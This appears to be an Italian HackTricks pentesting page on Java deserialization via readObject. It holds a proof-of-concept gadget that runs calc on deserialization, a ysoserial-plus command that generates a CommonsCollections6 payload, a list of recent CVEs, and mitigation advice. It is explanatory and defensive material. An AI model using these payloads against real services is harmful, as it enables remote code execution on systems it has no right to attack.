hacktricks/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md

155 lines
8.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic Java Deserialization with ObjectInputStream readObject
{{#include ../../banners/hacktricks-training.md}}
In questo POST verrà spiegato un esempio utilizzando `java.io.Serializable` **e perché sovrascrivere `readObject()` può essere estremamente pericoloso se il flusso in arrivo è controllato dall'attaccante**.
## Serializable
L'interfaccia Java `Serializable` (`java.io.Serializable`) è un'interfaccia marker che le tue classi devono implementare se devono essere **serializzate** e **deserializzate**. La serializzazione degli oggetti Java (scrittura) viene eseguita con [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e la deserializzazione (lettura) viene eseguita con [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
### Promemoria: Quali metodi vengono invocati implicitamente durante la deserializzazione?
1. `readObject()` logica di lettura specifica della classe (se implementata e *privata*).
2. `readResolve()` può sostituire l'oggetto deserializzato con un altro.
3. `validateObject()` tramite callback `ObjectInputValidation`.
4. `readExternal()` per classi che implementano `Externalizable`.
5. I costruttori **non** vengono eseguiti quindi le catene di gadget si basano esclusivamente sui callback precedenti.
Qualsiasi metodo in quella catena che finisce per invocare dati controllati dall'attaccante (esecuzione di comandi, ricerche JNDI, riflessione, ecc.) trasforma la routine di deserializzazione in un gadget RCE.
Vediamo un esempio con una **classe Person** che è **serializzabile**. Questa classe **sovrascrive la funzione readObject**, quindi quando **qualsiasi oggetto** di questa **classe** viene **deserializzato**, questa **funzione** verrà **eseguita**.\
Nell'esempio, la **funzione readObject** della classe Person chiama la funzione `eat()` del suo animale domestico e la funzione `eat()` di un Cane (per qualche motivo) chiama un **calc.exe**. **Vedremo come serializzare e deserializzare un oggetto Person per eseguire questa calcolatrice:**
**Il seguente esempio è tratto da <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
```java
import java.io.Serializable;
import java.io.*;
public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}
```
### Conclusione (scenario classico)
Come puoi vedere in questo esempio molto basilare, la “vulnerabilità” qui appare perché il metodo **readObject()** sta **chiamando altro codice controllato dall'attaccante**. Nelle catene di gadget del mondo reale, migliaia di classi contenute in librerie esterne (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, ecc.) possono essere abusate l'attaccante ha bisogno solo di *uno* gadget raggiungibile per ottenere l'esecuzione del codice.
---
## 2023-2025: Novità negli attacchi di deserializzazione Java?
* 2023 CVE-2023-34040: La deserializzazione degli header dei record di errore di Spring-Kafka quando i flag `checkDeserExWhen*` sono abilitati ha permesso la costruzione arbitraria di gadget da argomenti pubblicati dall'attaccante. Risolto in 3.0.10 / 2.9.11. ¹
* 2023 CVE-2023-36480: Assunzione di server fidati del client Java Aerospike rotta le risposte del server malevole contenevano payload serializzati che sono stati deserializzati dal client → RCE. ²
* 2023 CVE-2023-25581: L'analisi degli attributi del profilo utente di `pac4j-core` accettava blob Base64 con prefisso `{#sb64}` e li deserializzava nonostante un `RestrictedObjectInputStream`. Aggiornare ≥ 4.0.0.
* 2023 CVE-2023-4528: Il servizio JSCAPE MFT Manager (porta 10880) accettava oggetti Java codificati in XML portando a RCE come root/SYSTEM.
* 2024 Sono state aggiunte nuove catene di gadget a ysoserial-plus(mod) inclusi Hibernate5, TomcatEmbed e classi SnakeYAML 2.x che bypassano alcuni vecchi filtri.
## Mitigazioni moderne che dovresti implementare
1. **JEP 290 / Filtro di Serializzazione (Java 9+)**
*Aggiungi una lista di autorizzazione o di negazione delle classi:*
```bash
# Accetta solo i tuoi DTO e java.base, rifiuta tutto il resto
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
```
Esempio programmatico:
```java
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
```
2. **JEP 415 (Java 17+) Fabbriche di Filtri Specifici per Contesto** utilizza un `BinaryOperator<ObjectInputFilter>` per applicare filtri diversi per contesto di esecuzione (ad es., per chiamata RMI, per consumatore di coda di messaggi).
3. **Non esporre `ObjectInputStream` grezzo sulla rete** preferire codifiche JSON/Binary senza semantiche di esecuzione del codice (Jackson dopo aver disabilitato `DefaultTyping`, Protobuf, Avro, ecc.).
4. **Limiti di Difesa in Profondità** Imposta la lunghezza massima dell'array, la profondità, i riferimenti:
```bash
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
```
5. **Scansione continua dei gadget** esegui strumenti come `gadget-inspector` o `serialpwn-cli` nel tuo CI per far fallire la build se un gadget pericoloso diventa raggiungibile.
## Scheda di riferimento degli strumenti aggiornata (2024)
* `ysoserial-plus.jar` fork della comunità con > 130 catene di gadget:
```bash
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
```
* `marshalsec` rimane il riferimento per la generazione di gadget JNDI (LDAP/RMI).
* `gadget-probe` scoperta rapida di gadget black-box contro servizi di rete.
* `SerialSniffer` agente JVMTI che stampa ogni classe letta da `ObjectInputStream` (utile per creare filtri).
* **Suggerimento per la rilevazione** abilita `-Djdk.serialDebug=true` (JDK 22+) per registrare le decisioni del filtro e le classi rifiutate.
## Checklist rapida per implementazioni sicure di `readObject()`
1. Rendi il metodo `private` e aggiungi l'annotazione `@Serial` (aiuta l'analisi statica).
2. Non chiamare metodi forniti dall'utente o eseguire I/O nel metodo leggi solo i campi.
3. Se è necessaria la validazione, eseguila **dopo** la deserializzazione, al di fuori di `readObject()`.
4. Preferisci implementare `Externalizable` e fare letture esplicite dei campi invece della serializzazione predefinita.
5. Registra un `ObjectInputFilter` rinforzato anche per i servizi interni (design resistente ai compromessi).
## Riferimenti
1. Avviso di Sicurezza di Spring CVE-2023-34040 Deserializzazione Java in Spring-Kafka (Ago 2023)
2. GitHub Security Lab GHSL-2023-044: Deserializzazione non sicura nel client Java Aerospike (Lug 2023)
{{#include ../../banners/hacktricks-training.md}}